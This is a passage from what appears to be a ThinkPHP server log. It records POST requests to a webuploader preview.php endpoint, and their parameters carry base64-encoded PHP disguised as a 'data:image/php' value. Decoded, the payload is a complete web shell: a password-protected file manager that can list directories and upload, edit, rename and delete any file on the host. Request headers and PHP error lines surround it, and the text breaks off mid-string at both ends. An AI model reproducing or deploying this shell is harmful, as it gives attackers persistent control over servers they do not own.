w0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:34+08:00 ] 119.42.146.234 POST 59.110.137.245/app/app/webuploader/0.1.15/server/preview.php [运行时间:0.002731s] [吞吐率:366.15req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'app', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6I